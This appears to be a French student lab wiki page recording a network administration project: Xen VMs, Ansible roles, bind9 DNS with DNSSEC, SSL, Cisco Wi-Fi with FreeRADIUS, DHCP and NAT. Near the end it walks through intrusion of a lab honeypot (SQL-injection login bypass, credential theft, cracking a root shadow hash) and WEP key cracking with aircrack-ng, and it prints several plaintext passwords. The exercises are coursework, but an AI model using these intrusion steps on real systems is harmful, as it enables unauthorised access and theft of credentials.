'''Rôle &amp;lt;code&amp;gt;basic&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;files&amp;lt;/code&amp;gt; qui contient la configuration mymotd_conf et ntp.conf&lt;br /&gt;
** mymotd_conf : On met ce que l'on veut afficher dedans&lt;br /&gt;
** ntp.conf : Fichier récupéré auquel on ajoute le serveur NTP et les IP&lt;br /&gt;
 # You do need to talk to an NTP server or two (or three).&lt;br /&gt;
 #server ntp.your-provider.example&lt;br /&gt;
 server ntp.plil.info&lt;br /&gt;
 ...&lt;br /&gt;
 # Local users may interrogate the ntp server more closely.&lt;br /&gt;
 restrict 127.0.0.1&lt;br /&gt;
 restrict ::1&lt;br /&gt;
 restrict 192.168.42.21&lt;br /&gt;
 restrict 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : gestion packages&lt;br /&gt;
   apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{{ packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
     packages:&lt;br /&gt;
      - python3&lt;br /&gt;
      - python3-pip&lt;br /&gt;
      - ntpdate&lt;br /&gt;
      - ntp&lt;br /&gt;
 &lt;br /&gt;
 - name : gestion packages pip&lt;br /&gt;
   pip:&lt;br /&gt;
      name:&lt;br /&gt;
         - docker&lt;br /&gt;
 - name: lien symbolique&lt;br /&gt;
   command: ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
 &lt;br /&gt;
 - name: motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/mymotd_conf&lt;br /&gt;
      dest: /etc/motd&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644' &lt;br /&gt;
&lt;br /&gt;
 - name: config ntp&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/ntp.conf&lt;br /&gt;
      dest: /etc/ntp.conf&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Rôle &amp;lt;code&amp;gt;registry&amp;lt;/code&amp;gt; :&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Rôle &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; :&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; avec un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : deployer sur les VMs&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: site&lt;br /&gt;
           image: 192.168.42.7:5000/webserver&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;8087:80&amp;quot;  &lt;br /&gt;
&amp;lt;code&amp;gt;image&amp;lt;/code&amp;gt; : là où se trouve notre serveur web à déployer (sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
Playbook &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot;    &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 - name: Deploiement&lt;br /&gt;
   hosts: webinterne&lt;br /&gt;
   roles:&lt;br /&gt;
      - deployer&lt;/div&gt;</summary>
		<author><name>Cbisalli</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=54988</id>
		<title>TP sysres IMA5sc 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=54988"/>
				<updated>2020-12-18T19:17:17Z</updated>
		
		<summary type="html">&lt;p&gt;Cbisalli : /* Playbook et roles */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Explication Infrastructure ==&lt;br /&gt;
&lt;br /&gt;
==Installation VM==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh:&lt;br /&gt;
 ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Commande (en root su -):&lt;br /&gt;
 xen-create-image --hostname=girolle --ip=100.64.0.24 --netmask=255.255.255.240 --dist=buster --dir=/usr/local/xen --password=glopglop --force&lt;br /&gt;
&amp;lt;br&amp;gt; MAJ gateway : 161&lt;br /&gt;
&amp;lt;br&amp;gt;Nom de domaine: girolle.site&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse IP : 100.64.0.24 MAJ: 193.48.57.172&lt;br /&gt;
&amp;lt;br&amp;gt;Netmask: 255.255.255.240 MAJ: 255.255.255.224&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse MAC : 00:16:3E:3E:E3:15&lt;br /&gt;
&lt;br /&gt;
Repartition des volumes logiques : &lt;br /&gt;
 lvdisplay &lt;br /&gt;
 lvrename &lt;br /&gt;
&lt;br /&gt;
Dans le fichier de configuration de la machine : girolle.cfg&lt;br /&gt;
on rajoute var et home :&lt;br /&gt;
lignes 'phy:/.../xdva3'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Commandes pour creer et acceder a la VM :&lt;br /&gt;
&lt;br /&gt;
 xl create -c etc/xen/girolle.cfg&lt;br /&gt;
 '''xl console girolle'''&lt;br /&gt;
&lt;br /&gt;
Commandes sur la vm: &lt;br /&gt;
&lt;br /&gt;
dans etc/fstab il faut indiquer les fonctionnalites de xvda3 et xvda4 &lt;br /&gt;
&lt;br /&gt;
au prealable il faut &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1) formater la partition : &lt;br /&gt;
 mkfs -t ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
2) Monter la partition que l'on veut sur /mnt &lt;br /&gt;
 mount /dev/xvda4 /mnt&lt;br /&gt;
3) Migrer tout le contenu de var dans mnt &lt;br /&gt;
 cd /var&lt;br /&gt;
 mv * /mnt&lt;br /&gt;
&lt;br /&gt;
4) Dans le fichier fstab rajouter :&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
5) Unmout mnt &lt;br /&gt;
 umount /mnt&lt;br /&gt;
&lt;br /&gt;
6) Monter tout sur dev/xdva&lt;br /&gt;
 mount -a &lt;br /&gt;
7)Verification &lt;br /&gt;
 df&lt;br /&gt;
 dpkg -l&lt;br /&gt;
&lt;br /&gt;
== Activation connexion ssh ==&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config&lt;br /&gt;
&lt;br /&gt;
On décommente la ligne PermissionRoot :  &lt;br /&gt;
 # Authentication:&lt;br /&gt;
 #LoginGraceTime 2m&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
Puis on l'active avec la commande :&lt;br /&gt;
 service sshd restart&lt;br /&gt;
&lt;br /&gt;
On peut se connecter à la machine par ssh root@girolle.site (mot de passe root habituel)&lt;br /&gt;
&lt;br /&gt;
==Redirection DNS==&lt;br /&gt;
&lt;br /&gt;
=== Sur Gandi ===&lt;br /&gt;
&lt;br /&gt;
Achat d'un nom de domaine : girolle.site&lt;br /&gt;
Création d'un Glue Record : 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Serveur DNS primaire : ns1.girolle.site (193.48.57.182)&lt;br /&gt;
Serveur DNS secondaire : ns6.gandi.net (217.70.177.40)&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine virtuelle ===&lt;br /&gt;
&lt;br /&gt;
Installation de bind9&lt;br /&gt;
On modifie les fichiers dans /etc/bind/named.conf.&lt;br /&gt;
Dans /etc/bind/named.conf.options&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/bind&amp;quot;;&lt;br /&gt;
   listen-on-v6 { any; };&lt;br /&gt;
   allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;girolle.site/girolle&amp;quot;;&lt;br /&gt;
   allow-transfer (217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans db.girolle.site&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA      ns1.girolle.site.  postmaster.girolle.site(&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182&lt;br /&gt;
 @       IN      MX      100 girolle.site.&lt;br /&gt;
&lt;br /&gt;
 www      IN      CNAME   ns1&lt;br /&gt;
&lt;br /&gt;
Puis pour le relancer :&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Configuration pour la réception du mail de confirmation du certificat SSL&lt;br /&gt;
Installer Postfixe pour avoir accès au fichier aliases&lt;br /&gt;
 Internet Site&lt;br /&gt;
 girolle.site&lt;br /&gt;
&lt;br /&gt;
Dans /etc/aliases&lt;br /&gt;
 admin: root&lt;br /&gt;
&lt;br /&gt;
Puis ajouter dans newaliases&lt;br /&gt;
Cela va permettre de récupérer le mail de confirmation de Gandi envoyé à admin@girolle.site&lt;br /&gt;
&lt;br /&gt;
https://www.jeffgeerling.com/blogs/jeff-geerling/viewing-email-linux-using&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation de mailx pour lire les mails reçus&lt;br /&gt;
 apt-install bsd-mailx&lt;br /&gt;
Pour consulter le mail de vérification&lt;br /&gt;
 mailx admin&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation par certificat SSL ===&lt;br /&gt;
&lt;br /&gt;
Génération du CSR à l'aide d'openssl&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout girolle.site.key -out girolle.site.csr&lt;br /&gt;
&lt;br /&gt;
Réception du mail de vérification avec une URL et un mot de passe ce qui nous permet de récupérer le fichier girolle.site.crt&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur apache2&lt;br /&gt;
&lt;br /&gt;
Activation du ssl sur apache2 &lt;br /&gt;
 ae2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Ajout dans le fichier 000-default.conf dans /etc/apache2/sites-available&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;                                                                                                         &lt;br /&gt;
  ServerName www.girolle.site                                                                                             &lt;br /&gt;
  Redirect / https://www.girolle.site       &lt;br /&gt;
  ....                                                                        &lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.182:443&amp;gt;&lt;br /&gt;
     DocumentRoot /var/www/html2&lt;br /&gt;
     ServerName girolle.site&lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /root/girolle.site.crt&lt;br /&gt;
         SSLCertificateKeyFile /root/girolle.site.key&lt;br /&gt;
         SSLCertificateChainFile /root/GandiCA.pem&lt;br /&gt;
     &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
verifications:&lt;br /&gt;
 host -t soa girolle.site ns6.gandi.net&lt;br /&gt;
 Sur Zabeth : host www.girolle.site&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options&lt;br /&gt;
On crée ensuite un dossier girolle_dnssec pour y stocker les couples de clés générées:&lt;br /&gt;
Une clef asymétrique de signature de clefs de zone &lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE girolle.site&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Une clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE girolle.site&lt;br /&gt;
&lt;br /&gt;
On renomme les deux paires de clés de la façon suivante :&lt;br /&gt;
  &lt;br /&gt;
 Kgirolle.site.+0+55681.key et Kgirolle.site.+0+55681.private en girolle.site-ksk.key et girolle.site-ksk.private&lt;br /&gt;
 Kgirolle.site.+0+00840.key et Kgirolle.site.+0+00840.private en girolle.site-zsk.key et girolle.site-ksk.private&lt;br /&gt;
&lt;br /&gt;
On inclue en les clefs publiques dans le fichier de zone db.girolle.site :&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrement de la zone avec la commande&lt;br /&gt;
 dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local on modifie la zone :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; IN {&lt;br /&gt;
  type master;&lt;br /&gt;
  file &amp;quot;/etc/bind/db.girolle.site.signed&amp;quot;;&lt;br /&gt;
  allow-transfer {227.70.177.40;};&lt;br /&gt;
 };   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin sur Gandi, on ajoute la clé publique ksk avec l'algorithme(RSA/SHA-1).&lt;br /&gt;
&lt;br /&gt;
On utilise l'analyseur de DNSSEC du site Verisign Labs pour vérifier. Tout s'effectue sans erreur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Girolle.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
== Configuration des bornes Wi-Fi ==&lt;br /&gt;
&lt;br /&gt;
Borne classique : Cisco - AIR-CAP1602I-E-K9&lt;br /&gt;
&lt;br /&gt;
Configuration IOS en CLI :&lt;br /&gt;
&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 aaa group server radius radius_girolle&lt;br /&gt;
 server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 !&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group1&lt;br /&gt;
 aaa authentication login eap_girolle group radius_girolle&lt;br /&gt;
 !         &lt;br /&gt;
 dot11 ssid SSID_GIROLLE&lt;br /&gt;
    vlan 107&lt;br /&gt;
    authentication open eap eap_girolle &lt;br /&gt;
    authentication network-eap eap_girolle &lt;br /&gt;
    authentication key-management wpa&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 ...&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
  encryption vlan 101 mode ciphers aes-ccm tkip&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
 interface BVI1&lt;br /&gt;
 ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 !&lt;br /&gt;
 radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key 7 09414A191B0A051C0E1B0D2C22&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10.60.100.10 : adresse IP fixe du point d'accès&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Commandes et verifications /&lt;br /&gt;
 ap(config)#interface BVI1&lt;br /&gt;
 ap(config-if)# ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 ap(config-if)#exit&lt;br /&gt;
 ap#write&lt;br /&gt;
 PING ROUTEUR 1 POUR VERIFIER LA CONNEXION&lt;br /&gt;
 ap#ping 10.60.100.2 &lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.2, timeout is 2 seconds:&lt;br /&gt;
 .!!!!&lt;br /&gt;
 Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
test second routeur : ne fonctionne pas car pas d'addresse ip&lt;br /&gt;
 ap#ping 10.60.100.1&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.1, timeout is 2 seconds:&lt;br /&gt;
 .....&lt;br /&gt;
 Success rate is 0 percent (0/5)&lt;br /&gt;
&lt;br /&gt;
Configurer l'adresse par defaut:&lt;br /&gt;
&lt;br /&gt;
 ap(config)#ip route 0.0.0.0 0.0.0.0 10.60.100.2&lt;br /&gt;
 ap(config)#exit&lt;br /&gt;
 ap#sh ip route&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Test ping notre machine virtuelle girolle : &lt;br /&gt;
 ap#ping 193.48.57.182&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 193.48.57.182, timeout is 2 seconds:&lt;br /&gt;
 !!!!!&lt;br /&gt;
 Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
===Sécurisation===&lt;br /&gt;
&lt;br /&gt;
On a refait la configuration avec groupe7 pour s'aligner sur les autres groupes.&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# aaa authentication login eap_group7 group radius_group7&lt;br /&gt;
 wifi-ima5sc(config)# radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key secret_group7&lt;br /&gt;
 wifi-ima5sc(config)# aaa group server radius radius_group7&lt;br /&gt;
 wifi-ima5sc(config-server)# server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 wifi-ima5sc(config)# dot11 ssid SSID_GROUP7&lt;br /&gt;
 wifi-ima5sc(config-radius)# mbssid guest-mode&lt;br /&gt;
 wifi-ima5sc(config-radius)# vlan 307&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication open eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication network-eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Dot11Radio0&lt;br /&gt;
 wifi-ima5sc(config-if)# encryption vlan 307 mode ciphers aes-ccm tkip&lt;br /&gt;
 wifi-ima5sc(config-if)# mbssid&lt;br /&gt;
 wifi-ima5sc(config)# ssid SSID_GROUP7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config-subif)# int dot11radio0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Gi0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
===FreeRadius===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/users&lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/client.conf&lt;br /&gt;
&lt;br /&gt;
 client girolle_wifi {&lt;br /&gt;
     ipaddr = 10.60.100.10&lt;br /&gt;
     secret = secret_group7&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Finalement on lance la commande freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP et mascarade===&lt;br /&gt;
&lt;br /&gt;
On doit implanter une fonction de serveur DHCP sur les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
Pour le 6509E :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#default-router 10.60.107.1&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.99&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.150 10.60.107.255&lt;br /&gt;
 IMA5sc-R1(config)#exit&lt;br /&gt;
 IMA5sc-R1#sh ip dhcp binding&lt;br /&gt;
 IMA5sc-R1#ping 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Le ping fonctionne.&lt;br /&gt;
&lt;br /&gt;
Pour le C9200 :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#default-router 10.60.107.2&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.49&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.100 10.60.107.255&lt;br /&gt;
 IMA5sc-R2(config)#exit&lt;br /&gt;
 IMA5sc-R2#sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade (vlan131 -&amp;gt; vlan pour se connecter au routeur):&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 307&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat inside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 131&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat outside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# access-list 107 permit ip 10.60.107.0 0.0.0.255 any&lt;br /&gt;
 IMA5sc-R1(config)# ip nat inside source list 107 interface vlan 131 overload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du vlan sur les routeurs&lt;br /&gt;
 vlan 307&lt;br /&gt;
&lt;br /&gt;
==Configuration WLC==&lt;br /&gt;
&lt;br /&gt;
Utilisation de bornes Cisco 2802i&lt;br /&gt;
&lt;br /&gt;
Connection via minicom -os (9600 bauds)&lt;br /&gt;
&lt;br /&gt;
 enable &lt;br /&gt;
 capwap ap ip &amp;lt;ip&amp;gt; &amp;lt;netmask&amp;gt; &amp;lt;gateway&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Intrusion honey.plil.info ==&lt;br /&gt;
&lt;br /&gt;
pour avoir les identifiants de l'admin : ID = ' OR '1'='1 et MDP = ' OR '1'='1&lt;br /&gt;
&lt;br /&gt;
Admin : admin	jesuislechef	admin	Administrateur&lt;br /&gt;
&lt;br /&gt;
Creer le fichier  etc/phpmyadmin/config-db.php&lt;br /&gt;
en allant dans l'onglet: .... on telecharge le fichier qu'on a crée : &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 ##&lt;br /&gt;
 ## database access settings in php format&lt;br /&gt;
 ## automatically generated from /etc/dbconfig-common/phpmyadmin.conf&lt;br /&gt;
 ## by /usr/sbin/dbconfig-generate-include&lt;br /&gt;
 ##&lt;br /&gt;
 ## by default this file is managed via ucf, so you shouldn't have to&lt;br /&gt;
 ## worry about manual changes being silently discarded.  *however*,&lt;br /&gt;
 ## you'll probably also want to edit the configuration file mentioned&lt;br /&gt;
 ## above too.&lt;br /&gt;
 ##&lt;br /&gt;
 $dbuser='phpmyadmin';&lt;br /&gt;
 $dbpass='gencovid19';&lt;br /&gt;
 $basepath='';&lt;br /&gt;
 $dbname='phpmyadmin';&lt;br /&gt;
 $dbserver='localhost';&lt;br /&gt;
 $dbport='3306';&lt;br /&gt;
 $dbtype='mysql';&lt;br /&gt;
&lt;br /&gt;
on reccupere user et mdp pour acceder a la page http://honey.plil.info/phpmyadmin/ &lt;br /&gt;
connexion id : root&lt;br /&gt;
mdp: gencovid19&lt;br /&gt;
&lt;br /&gt;
une fois connecter on recherche les identifiants des utilisateurs ssh :&lt;br /&gt;
id = rex &lt;br /&gt;
mdp: &lt;br /&gt;
&lt;br /&gt;
connexion ssh : ssh rex@honey.plil.info&lt;br /&gt;
 /etc/shadow pour trouver la cle de cryptage du mdp root &lt;br /&gt;
 copier la cle et la mettre dans un fichier (exemple :temp): root:$6$yCvXnJp4SOQwQaxV$vRYUr1fwU1SAPxZ0NbdIw/03ypGXjjRjZKRfX3sa7T2v9XnbI4xG.EyEtcrtASLlvqxuh9Hr6TrOB5Szopd6m/:18525:0:99999:7:::&lt;br /&gt;
 installation de john &lt;br /&gt;
 john nom du fichier&lt;br /&gt;
&lt;br /&gt;
pour aller plus rapidement creer un dictionnaire a partir des indices donnés  : motif doublé 'le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets'&lt;br /&gt;
utiliseer crunch?&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On utilise le paquet aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
La commande&lt;br /&gt;
 airmon-ng&lt;br /&gt;
permet de voir le nom du réseau sans fil: wlan0mon&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On scanne les réseaux :&lt;br /&gt;
 airodump-ng --encrypte wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisi un réseau parmi ceux disponibles. Par exemple la cracotte08 est sur le canal 7 et a pour BSSID 04:DA:D2:9C:50:57.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On lance avec la commande :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write testwep --channel 7 --bssid 04:DA:D2:9C:50:57 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z testwep-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs web==&lt;br /&gt;
&lt;br /&gt;
On travaille avec deux machines virtuelles. Une VM sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (celle mise en place en PRA). On lui associe sur eth1 l'adresse IP &amp;lt;code&amp;gt;192.186.42.21&amp;lt;/code&amp;gt;.&lt;br /&gt;
La seconde sur le serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; d'IP &amp;lt;code&amp;gt;192.168.42.7&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On ferme la machine virtuelle sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (&amp;lt;code&amp;gt;halt&amp;lt;/code&amp;gt;) pour modifier le fichier de configuration &amp;lt;code&amp;gt;girolle.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
On ajoute à la ligne vif &amp;lt;code&amp;gt;'mac=@MAC incrémenté de 1, bridge=bridgeStudents'&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On relance, le ping entre leux deux machine se fait.&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade pour que la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ait accès à internet :&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.7/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.7/32&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.7/32 --to-source 193.48.57.182&lt;br /&gt;
 iptables-save&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
